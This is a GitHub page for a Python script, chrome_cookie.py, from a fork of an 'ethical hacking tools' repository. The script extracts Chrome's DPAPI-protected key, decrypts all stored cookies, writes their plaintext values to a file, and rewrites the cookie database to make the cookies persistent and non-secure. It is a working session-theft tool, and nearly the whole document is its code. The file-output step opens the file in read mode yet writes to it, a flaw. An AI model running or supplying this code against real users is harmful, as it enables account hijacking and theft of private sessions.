forked from x4nth055/ethical-hacking-tools-python
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathchrome_cookie.py
More file actions
119 lines (109 loc) · 4.51 KB
/
chrome_cookie.py
File metadata and controls
119 lines (109 loc) · 4.51 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
import os
import json
import base64
import sqlite3
import shutil
from datetime import datetime, timedelta
import win32crypt # pip install pypiwin32
from Crypto.Cipher import AES # pip install pycryptodome
import sys
def get_chrome_datetime(chromedate):
"""Return a `datetime.datetime` object from a chrome format datetime
Since `chromedate` is formatted as the number of microseconds since January, 1601"""
if chromedate != 86400000000 and chromedate:
try:
return datetime(1601, 1, 1) + timedelta(microseconds=chromedate)
except Exception as e:
print(f"Error: {e}, chromedate: {chromedate}")
return chromedate
else:
return ""
def get_encryption_key():
local_state_path = os.path.join(os.environ["USERPROFILE"],
"AppData", "Local", "Google", "Chrome",
"User Data", "Local State")
with open(local_state_path, "r", encoding="utf-8") as f:
local_state = f.read()
local_state = json.loads(local_state)
# decode the encryption key from Base64
key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
# remove 'DPAPI' str
key = key[5:]
# return decrypted key that was originally encrypted
# using a session key derived from current user's logon credentials
# doc: http://timgolden.me.uk/pywin32-docs/win32crypt.html
return win32crypt.CryptUnprotectData(key, None, None, None, 0)[1]
def decrypt_data(data, key):
try:
# get the initialization vector
iv = data[3:15]
data = data[15:]
# generate cipher
cipher = AES.new(key, AES.MODE_GCM, iv)
# decrypt password
return cipher.decrypt(data)[:-16].decode()
except:
try:
return str(win32crypt.CryptUnprotectData(data, None, None, None, 0)[1])
except:
# not supported
return ""
def main(output_file):
# local sqlite Chrome cookie database path
db_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local",
"Google", "Chrome", "User Data", "Default", "Network", "Cookies")
# copy the file to current directory
# as the database will be locked if chrome is currently open
filename = "Cookies.db"
if not os.path.isfile(filename):
# copy file when does not exist in the current directory
shutil.copyfile(db_path, filename)
# connect to the database
db = sqlite3.connect(filename)
# ignore decoding errors
db.text_factory = lambda b: b.decode(errors="ignore")
cursor = db.cursor()
# get the cookies from `cookies` table
cursor.execute("""
SELECT host_key, name, value, creation_utc, last_access_utc, expires_utc, encrypted_value
FROM cookies""")
# you can also search by domain, e.g thepythoncode.com
# cursor.execute("""
# SELECT host_key, name, value, creation_utc, last_access_utc, expires_utc, encrypted_value
# FROM cookies
# WHERE host_key like '%thepythoncode.com%'""")
# get the AES key
key = get_encryption_key()
for host_key, name, value, creation_utc, last_access_utc, expires_utc, encrypted_value in cursor.fetchall():
if not value:
decrypted_value = decrypt_data(encrypted_value, key)
else:
# already decrypted
decrypted_value = value
with open(output_file) as f:
print(f"""
Host: {host_key}
Cookie name: {name}
Cookie value (decrypted): {decrypted_value}
Creation datetime (UTC): {get_chrome_datetime(creation_utc)}
Last access datetime (UTC): {get_chrome_datetime(last_access_utc)}
Expires datetime (UTC): {get_chrome_datetime(expires_utc)}
===============================================================""", file=f)
# update the cookies table with the decrypted value
# and make session cookie persistent
cursor.execute("""
UPDATE cookies SET value = ?, has_expires = 1, expires_utc = 99999999999999999, is_persistent = 1, is_secure = 0
WHERE host_key = ?
AND name = ?""", (decrypted_value, host_key, name))
# commit changes
db.commit()
# close connection
db.close()
try:
# try to remove the copied db file
os.remove(filename)
except:
pass
if __name__ == "__main__":
output_file = sys.argv[1]
main(output_file)